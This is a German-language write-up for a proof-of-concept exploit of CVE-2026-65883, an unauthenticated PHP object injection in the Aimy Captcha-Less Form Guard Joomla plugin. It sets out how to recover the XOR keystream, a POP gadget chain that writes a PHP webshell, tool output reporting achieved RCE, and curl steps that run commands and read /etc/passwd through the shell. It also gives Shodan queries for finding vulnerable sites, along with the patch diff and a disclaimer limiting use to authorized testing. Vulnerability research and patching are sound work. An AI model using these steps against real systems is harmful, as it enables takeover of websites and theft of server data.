
Aimy Captcha-Less Form Guard Joomla-Komponente PHP Object Injection RCE. clfgd XOR-Keystream-Wiederherstellung + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1
Nicht authentifizierte PHP-Objektinjektion in Aimy Captcha-Less Form Guard für Joomla. Die Methode onCheckAnswer() decodiert das vom Angreifer kontrollierte POST-Feld clfgd per Base64, führt es durch eine XOR-Verschlüsselung mit sich wiederholendem Schlüssel und übergibt das Ergebnis direkt an unserialize() — ohne HMAC, ohne allowed_classes-Einschränkung und ohne Integritätsprüfung.
| Status | Version |
|---|---|
| Verwundbar | 18.0 — 20.0 |
| Behoben | 20.1 (29. Juli 2026) |
Die Methode onCheckAnswer() in plg_captcha_aimycaptchalessformguard übergibt vom Angreifer kontrollierte Eingaben direkt an unserialize():
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
$cld = @unserialize(
XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
);
}
Die XOR-„Verschlüsselung“ ist eine Vigenère-Chiffre mit einem Pro-Sitzungs-Schlüssel — keine Authentifizierung, nur Verschleierung.
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
$ekey = str_split(self::getHashedKey($key)); // sha512.sha256.sha1 = 232 hex
$s = str_split(strVal($bytes));
$klen = count($ekey);
for ($i = 0; $i < count($s); $i++) {
$val .= $s[$i] ^ $ekey[$i % ($klen - 1)]; // period 231
}
return $val;
}
Das Plugin rendert sowohl Chiffrat als auch Klartext in derselben HTML-Antwort:
// onDisplay()
$cld->trap_ids = array($id, $trap_id); // readable from HTML
$cld->mt = time() + 7; // known (server time + 7s)
$html .= '<input name="clfgd" value="'
. base64_encode(XorHelper::crypt(serialize($cld), $key))
. '" />';
Da sowohl trap_ids (aus dem <span id="..._mark"> und dem Honeypot-Eingabefeld extrahierbar) als auch das Chiffrat in der HTML-Antwort enthalten sind, lassen sich durch XOR-Verknüpfung etwa 94 Bytes des 231-Byte-Keystreams wiederherstellen.
clfgd-Chiffrat + trap_ids + Timing → 94 Bytes Keystream wiederherstellenFormattedtextLogger-Objekt so aus, dass strukturelle Bytes auf bekannte Keystream-Positionen fallenclfgd → unserialize() → __destruct() → formatLine() → schreibt PHP-Webshell/random.php?c=id → RCE als www-data$ python cve_2026_65883.py -t target.com
Target : target.com
Status : Aimy Captcha-Less Form Guard v20.0
Form : /index.php?option=com_users&view=registration
Keystream : 94 bytes recovered
Shell : a1b2c3d4e5.php
Gadget : 1460 bytes
POST : HTTP 303
Shell URL : https://target.com/a1b2c3d4e5.php
RCE : CONFIRMED!
RCE ACHIEVED!
https://target.com/a1b2c3d4e5.php?c=id
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
| grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin
# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"
# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"
# Plugin version disclosure
body="aimycaptchalessformguard"
# Shodan
http.html:"clfgd" http.component:"Joomla"
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
json_decode() kann keine PHP-Objekte instanziieren — die POP-Gadget-Kette ist unterbrochen.
Dieses Tool dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.
Nicht mit Aimy Extensions oder VulnCheck verbunden.
| Feld | Detail |
|---|
| CVE | CVE-2026-65883 |
| Produkt | Aimy Captcha-Less Form Guard (Joomla-Plugin) |
| CVSS 4.0 | 10.0 (Kritisch) |
| Typ | CWE-502 — Deserialisierung nicht vertrauenswürdiger Daten |
| Betroffen | 18.0 — 20.0 |
| Behoben | 20.1 (29. Juli 2026) |
| Entdeckt | Valentin Lobstein (Chocapikk) / VulnCheck — 26. Juli 2026 |
| Ressource | Link |
|---|
| VulnCheck-Blog | vulncheck.com/blog/aimy-captcha-less-form-guard-object-injection |
| IONIX Threat Center | ionix.io/threat-center/cve-2026-65883 |
| CVE-Eintrag | cve.org/CVERecord?id=CVE-2026-65883 |
| NVD | nvd.nist.gov/vuln/detail/CVE-2026-65883 |